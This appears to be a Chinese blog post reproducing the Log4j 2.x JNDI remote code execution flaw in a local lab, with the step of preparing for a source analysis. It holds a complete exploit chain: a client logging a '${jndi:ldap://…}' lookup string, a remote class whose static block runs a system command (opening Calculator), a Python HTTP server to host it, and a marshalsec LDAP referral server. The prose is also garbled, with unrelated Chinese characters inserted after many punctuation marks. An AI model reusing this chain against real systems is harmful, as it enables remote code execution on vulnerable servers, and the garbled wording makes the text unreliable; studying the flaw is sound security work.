前言:想著從源碼靜態(tài)分析角度分析下漏洞凭豪,所以先進(jìn)行一波復(fù)現(xiàn)召锈。
一着帽、jar包版本要求:
Apache Log4j 2.x <= 2.14.1
我使用版本為2.14.0携悯,官方下載鏈接:https://archive.apache.org/dist/logging/log4j/2.14.0/
二、漏洞復(fù)現(xiàn):
模擬客戶端
1筷笨、下載 Log4j jar包憔鬼,解壓,IDEA新建一個(gè)java工程胃夏,IDEA導(dǎo)入如下:
2轴或、src目錄下新建文件Hack.java
和 log4j2.xml
:
- 文件 log4j2.xml:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="CONSOLE" target="SYSTEM_OUT">
<PatternLayout pattern="%d %-5p [%t] (%F:%L) - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="CONSOLE"/>
</Root>
</Loggers>
</Configuration>
- 文件 Hack.java:
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Hack {
private static final Logger logger = LogManager.getLogger(Hack.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}
}
模擬服務(wù)端
1、在其他目錄新建文件 Log4jRCE.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Log4jRCE {
static {
System.out.println("I am Log4jRCE from remote!!!");
Process p;
String [] cmd = {"open", "/System/Applications/Calculator.app"};
try {
p = java.lang.Runtime.getRuntime().exec(cmd);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while((line=br.readLine())!=null) {
System.out.println(line);
}
}
catch (IOException e) {
e.printStackTrace();
}
}
}
2仰禀、編譯成class文件:
javac Log4jRCE.java
3照雁、在Log4jRCE.class
所在目錄使用Python創(chuàng)建臨時(shí)服務(wù)器:
python3 -m http.server 8888
4、部署LDAP服務(wù):
- 下載marshalsec答恶,直接IDEA打開饺蚊,等待依賴下載完成:
https://github.com/mbechler/marshalsec - 配置參數(shù)
http://127.0.0.1:8888/#Log4jRCE
:
-
點(diǎn)擊運(yùn)行開始監(jiān)聽:
漏洞觸發(fā)
1、點(diǎn)擊客戶端的運(yùn)行按鈕觸發(fā):
2悬嗓、復(fù)現(xiàn)成功污呼。